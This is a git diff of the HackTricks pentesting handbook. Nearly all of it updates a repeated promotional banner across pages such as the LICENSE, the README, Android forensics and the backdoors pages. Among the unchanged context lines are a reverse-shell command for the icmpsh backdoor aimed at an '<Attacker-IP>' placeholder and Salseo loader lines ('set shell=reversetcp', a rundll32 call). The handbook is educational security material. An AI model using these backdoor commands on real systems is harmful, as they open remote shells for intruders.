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1911-pentesting-fox.md
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@ -1,18 +1,19 @@
# 1911 - Pentesting fox # 1911 - Pentesting fox
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
And more services: And more services:
@ -38,16 +39,17 @@ InfluxDB
![](<.gitbook/assets/image (341).png>) ![](<.gitbook/assets/image (341).png>)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

34
6881-udp-pentesting-bittorrent.md
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@ -1,34 +1,36 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

34
LICENSE.md
View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> by Carlos Polop is licensed under the <a href="https://creativecommons.org/licenses/by-nc/4.0/">Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)</a>. <a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> by Carlos Polop is licensed under the <a href="https://creativecommons.org/licenses/by-nc/4.0/">Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)</a>.
@ -187,18 +188,19 @@ Creative Commons may be contacted at [creativecommons.org](http://creativecommon
``` ```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

15
README.md
View file

@ -149,16 +149,17 @@ Check them in:
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Repobeats analytics image") ![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Repobeats analytics image")
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

2
SUMMARY.md
View file

@ -279,7 +279,7 @@
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) * [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) * [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
* [WinRM](windows-hardening/lateral-movement/winrm.md) * [WinRM](windows-hardening/lateral-movement/winrm.md)
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md) * [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements) * [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md) * [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) * [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)

34
android-forensics.md
View file

@ -1,18 +1,19 @@
# Android Forensics # Android Forensics
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Locked Device ## Locked Device
@ -36,16 +37,17 @@ Create an [android backup using adb](mobile-pentesting/android-app-pentesting/ad
Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb. Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

34
backdoors/icmpsh.md
View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
@ -45,18 +46,19 @@ icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
backdoors/salseo.md
View file

@ -1,18 +1,19 @@
# Salseo # Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Compiling the binaries ## Compiling the binaries
@ -187,16 +188,17 @@ set shell=reversetcp
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
View file

@ -1,18 +1,19 @@
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook # WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
